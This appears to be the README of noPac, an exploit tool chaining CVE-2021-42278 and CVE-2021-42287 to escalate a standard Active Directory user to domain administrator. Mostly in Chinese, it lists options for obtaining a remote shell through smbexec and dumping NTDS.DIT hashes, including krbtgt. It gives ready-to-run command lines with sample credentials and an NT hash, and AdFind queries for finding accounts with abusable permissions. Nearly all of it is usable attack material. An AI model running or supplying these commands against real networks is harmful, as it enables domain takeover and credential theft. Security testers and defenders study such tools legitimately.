利用 CVE-2021-42278 和 CVE-2021-42287 从标准域用户模拟域管理员
修改自 sam-the-admin。
SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain
positional arguments:
[domain/]username[:password]
Account used to authenticate to DC.
options:
-h, --help show this help message and exit
--impersonate IMPERSONATE
target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to
the SPN specified
-domain-netbios NETBIOSNAME
Domain NetBIOS name. Required if the DC has multiple domains.
-target-name NEWNAME Target computer name, if not specified, will be random generated.
-new-pass PASSWORD Add new computer password, if not specified, will be random generated.
-old-pass PASSWORD Target computer password, use if you know the password of the target you input with -target-name.
-old-hash LMHASH:NTHASH
Target computer hashes, use if you know the hash of the target you input with -target-name.
-debug Turn DEBUG output ON
-ts Adds timestamp to every logging output
-shell Drop a shell via smbexec
-no-add Forcibly change the password of the target computer.
-create-child Current account have permission to CreateChild.
-dump Dump Hashs via secretsdump
-spn SPN Specify the SPN for the ticket (Default: cifs)
-use-ldap Use LDAP instead of LDAPS
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the
command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-dc-host hostname Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used
-dc-ip ip IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used
execute options:
-port [destination port]
Destination port to connect to SMB Server
-mode {SHARE,SERVER} mode to use (default SHARE, SERVER needs root!)
-share SHARE share where the output will be grabbed from (default ADMIN$)
-shell-type {cmd,powershell}
choose a command processor for the semi-interactive shell
-codec CODEC Sets encoding used (codec) from the target's output (default "GBK").
-service-name service_name
The name of theservice used to trigger the payload
dump options:
-just-dc-user USERNAME
Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch
-just-dc Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)
-just-dc-ntlm Extract only NTDS.DIT data (NTLM hashes only)
-pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data
-user-status Display whether or not the user is disabled
-history Dump password history, and LSA secrets OldVal
-resumefile RESUMEFILE
resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state
-use-vss Use the VSS method insead of default DRSUAPI
-exec-method [{smbexec,wmiexec,mmcexec}]
Remote exec method to use at target (only when using -use-vss). Default: smbexec
注意：如果未指定
-host-name，工具将自动获取域控制器主机名，请选择由-dc-ip指定的主机的主机名。如果未指定--impersonate，工具将随机选择一个域管理员进行利用。默认使用 LDAPS，如果遇到 SSL 错误，请尝试添加-use-ldap。
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt
python scanner.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203
查找当前用户可以修改的计算机。
AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domain\user -recmute
利用：添加 -no-add 并使用 -target-name 指定目标。
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -no-add -target-name DomainWin7$ -old-hash :2a99c4a3bd5d30fc94f22bf7403ceb1a -shell
警告！！请勿通过 LDAPS 或 SAMR 修改域中计算机的密码，否则可能破坏该计算机与主域之间的信任关系！！
查找拥有 CreateChild 权限的账户，并使用该账户进行利用。
AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute
利用：添加 -create-child
python noPac.py cgdomain.com/venus:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -create-child
